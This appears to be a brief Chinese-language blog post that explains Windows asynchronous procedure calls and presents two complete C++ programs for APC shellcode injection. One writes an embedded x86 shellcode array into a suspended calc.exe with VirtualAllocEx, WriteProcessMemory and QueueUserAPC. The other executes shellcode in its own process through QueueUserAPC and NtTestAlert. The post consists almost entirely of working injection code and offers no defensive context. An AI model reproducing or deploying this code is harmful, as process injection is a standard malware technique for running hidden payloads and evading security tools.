简介
APC(Asynchronous Procedure Call 异步过程调用)是一种可以在 Windows 中使用的机制,用于将要在特定线程上下文中完成的作业排队。

示例代码

#include <Windows.h>
#include <iostream>

unsigned char cShellcode[] =
	"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
	"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
	"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
	"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
	"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
	"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
	"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
	"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
	"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
	"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
	"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
	"\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
	"\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
	"\x24\x52\xe8\x5f\xff\xff\xff\x68\x64\x58\x20\x20\x68\x70\x77"
	"\x6e\x65\x31\xdb\x88\x5c\x24\x05\x89\xe3\x68\x65\x78\x65\x58"
	"\x68\x61\x6c\x63\x2e\x68\x6f\x6d\x20\x63\x68\x6f\x20\x46\x72"
	"\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x13\x89\xe1\x31\xd2"
	"\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";


int main()
{
	LPCSTR lpApplication = "C:\\Windows\\System32\\calc.exe";
	SIZE_T sShellcode = sizeof(cShellcode);
	STARTUPINFOA sInfo = { 0 };
	PROCESS_INFORMATION pInfo = { 0 };
	CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo);
	HANDLE hProc = pInfo.hProcess;
	HANDLE hThread = pInfo.hThread;

	LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, sShellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;
	WriteProcessMemory(hProc, lpvShellAddress, cShellcode, sShellcode, NULL);

	QueueUserAPC((PAPCFUNC)ptApcRoutine, hThread, NULL);
	ResumeThread(hThread);

	return 0;
}
#include <Windows.h>

#pragma comment(lib, "ntdll")
using myNtTestAlert = NTSTATUS(NTAPI*)();

int main()
{
    unsigned char buf[] = "xx";
    myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
    SIZE_T shellSize = sizeof(buf);
    LPVOID shellAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(GetCurrentProcess(), shellAddress, buf, shellSize, NULL);

    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
    QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
    testAlert();

    return 0;
}

Q.E.D.